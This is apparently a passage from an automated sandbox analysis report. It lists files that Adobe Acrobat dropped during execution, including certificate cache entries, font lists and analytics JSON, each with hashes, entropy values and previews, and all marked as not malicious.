Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklTIn9b3/tfllXlE/HT8k4ll7llXNNX8RolJuRdxLlGB9lQRYwpDdt:kKTn9L/eT8vl7NMa8RdWBwRd
MD5:	5B8740682CA2806F4775C3526E272BEC
SHA1:	9AC3EF845AC3782AB2F20BE5821907DB42B2F21F
SHA-256:	F1AC08342CEA6A4B8514AE4168D940D5E2AAE331C5B13EEA6A7F8769F1FFECB3
SHA-512:	7DBA1BC8E7D53F3024A3B267898518CCE75E1CB56C8087FD9F581C81BE0310951401CBD52D51A73AFBC9CF6881F51D45DC98E0612ACFA82E1AC19F47877D68E2
Malicious:	false
Preview:	p...... ........ .+.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.120454434486891
Encrypted:	false
SSDEEP:	6:kKZPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ViDnLNkPlE99SNxAhUe/3
MD5:	946C521CDF37A3EF610202FCB4A7BC55
SHA1:	F29AB33AC616448528C85187C96606916E61C995
SHA-256:	1D2DE6D99AFFE949762FC609BA8863CF7509C9EA04087CE455E55A2D476A6852
SHA-512:	BD34C1E594C9696E2AEE2C8DDE528EB872576EC12059D5BF1E4004D519C7C60EF6805FBF2ED85071CCA2CC9A70F5E667ED295C7B6831D6C21E598A28D042CDD6
Malicious:	false
Preview:	p...... .........o.=.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3852

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3852

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.353606653957819
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJM3g98kUwPeUkwRe9:YvXKXVYJLCvcz5GMbLUkee9
MD5:	82BCF4D81B01F091B7ECCFF1354D4BB1
SHA1:	9826C6DD08DCF43D1B12B2B7F6E01BA24AA3B86B
SHA-256:	36C8544AE5A3BDFAE0DBE811C30F9247124A82550F0AE394FF0E7D8B491C0C83
SHA-512:	45F32CB7672B9D594F5CBD53F813700CAB9505A502079138B432E5A5B0E06961CB1BC40A45E2D211F9EAFDA7232F2C017E1E344D514AA65C498731270B2160BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304996280119697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJfBoTfXpnrPeUkwRe9:YvXKXVYJLCvcz5GWTfXcUkee9
MD5:	01BE303B31347A62D2DF6ED3D97FC6A5
SHA1:	F95A66641C0E6FFE80C6D9E72715143242B52279
SHA-256:	3F2B01B4AF7EA2B22004A8A09905B810844DFC16D3BFA785FC6175E6EE6AFDCB
SHA-512:	A5AE768720D77B1883DF8F6566592018A67318A42F81B030E2EC1BD874AEE08B8A58CE6FA2818668F66FE976CD75D0C379801A62421F07D45C295170272B2D91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283544596645703
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJfBD2G6UpnrPeUkwRe9:YvXKXVYJLCvcz5GR22cUkee9
MD5:	7F8FEAA771D4F51CE784A7B58187FD9C
SHA1:	A4F997796207DB0D5976B076767460AA6C4A866E
SHA-256:	6A40D7E0C572F5B8C2336109738A3BC2F3192568939468C5621F07C73E63783B
SHA-512:	8B09980F56B6FEB3B6F777BCCBC397E8A93B9013808039B53DE939F0F4A34D240DE6585C10FA8F4B4F8AB3C632447769F22AF088C017E31FEF186C74CA965B72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3332868881354605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJfPmwrPeUkwRe9:YvXKXVYJLCvcz5GH56Ukee9
MD5:	86ADC0D8956C3FB4BE92A81CCF406B0F
SHA1:	E1B89E2B702CDD8E4DF90BA0DD28F5F47ECE2F44
SHA-256:	76DEA57C6820E9F2927F6032DD9D01C7F737DB9346BA995243F419B2756F07F5
SHA-512:	4602E6A692B2612209A62D0D358ACA2BDA73C5B524CFC3D1D1BC565A28F43B3EDF175C2C9756DC9041E3D8F28C2B40E540CCC37ADC48884E19D076ACEF09AC30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686246470444671
Encrypted:	false
SSDEEP:	24:Yv6Xe2UzepLgE9cQx8LennAvzBvkn0RCmK8czOCCSV1:Yvmsehgy6SAFv5Ah8cv//
MD5:	2A570D77B97C6CADE5BDE6645073CF74
SHA1:	6F98E628A723E01B9510D4A09AAF15A6522D5933
SHA-256:	1421E01C72FECF1638F6FDF83421CB685FF03D5864C04E1D8EF15B0E16E1203E
SHA-512:	6CEDF3BB595B6495E7D9C01D1D571E2EFFBD9737CC8D7223BD2FF05C8F3B1A2F809FEE75DF2D365BDFBB6E8E7D0F5070B3ECE44950594C61C5159E6734853212
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280812663582053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJf8dPeUkwRe9:YvXKXVYJLCvcz5GU8Ukee9
MD5:	6C157CA3ABF8C6A7F4D2EE457C5FCCC0
SHA1:	A976E265A922EE400EDEF8847D9A482E7120777D
SHA-256:	4DD1B7CC6924612047BF42597D39CD3752BF68CFFFABF78C05CD2D6ACFB80555
SHA-512:	275C0488CC068FC53CDCC205113E8736B25D131006A3855759A8731C78DF6601CAA82CBB2B24642FE5544E4E44B36D20F7B4108CD05A77211B827DA48A1C7B70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.283952845288935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJfQ1rPeUkwRe9:YvXKXVYJLCvcz5GY16Ukee9
MD5:	7E9A7AFF2526C26A935F81C4216E8D68
SHA1:	AE52DB3CDB1CA7847CF75B5B5915EEEA01B01384
SHA-256:	60A917B6AE1BDB1A27904453FD7F336B89E9FE61C13F82F92900A2CF0918C6F2
SHA-512:	AA53C0137190D7668E86F233E865371DEBEB8B2975AD4F8A2AA3B8701B04EA5A4CF19E64A2970E72B3AB7874257711BD9C1559494229D0A2C497E8963F670768
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2904613028993595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJfFldPeUkwRe9:YvXKXVYJLCvcz5Gz8Ukee9
MD5:	572E5407F2558230E4167E6048D547CA
SHA1:	B409EC163A4B14D7426225723C6140CE2A9EF696
SHA-256:	EDC67429251B775F4A1D4D8126423234A6C5F007B830409648D6777F9A756A96
SHA-512:	95CCC6880ECDC88BA40654DC7EFC66EB3F7E4990BFD9D75D1625FF4CB2E3CDA29E4DC4C77F425CFD72F93FA1C7FA83C0EF89FFDF50335F2044A8D8E5E795F971
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.30760764744818
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJfzdPeUkwRe9:YvXKXVYJLCvcz5Gb8Ukee9
MD5:	22AE2BEE7F9ACBEEF745B26197B06AC0
SHA1:	2D633B8CFFF6D35FD75D73D369E0592940F3895A
SHA-256:	0FA7A79222153A0786990EE84F0D8AF2A40505D17E6973F86A39F3785F36A3CD
SHA-512:	5A7422E99A43FFD632AC6867CA6649AFC5AB63DAA5B1FF74A812E0E0F6ABCECAB5307A1C1E745A889ACB57E33DB6BF201466F005179D12EC7725717B7C387FFD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288284799093626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJfYdPeUkwRe9:YvXKXVYJLCvcz5Gg8Ukee9
MD5:	7A20196ABE30FA072613AAC358D681B2
SHA1:	65BDF3B81CCCBF0B9739AC59413C82B2DD280476
SHA-256:	FF02965862AABA7F7CF490ECD502FF0B809B7CD17D95C86A44BADF8B37CDFE37
SHA-512:	DEC9E4D9DF5F4B89D0E4356F61ABF3DA25DD0F2AAE647A587F23C45CA01436A00829F3E3C9F4A16AFD4C9AEF6DFAB6927EB80C02617BA520FAD572EABCA9C80C
Malicious:	false
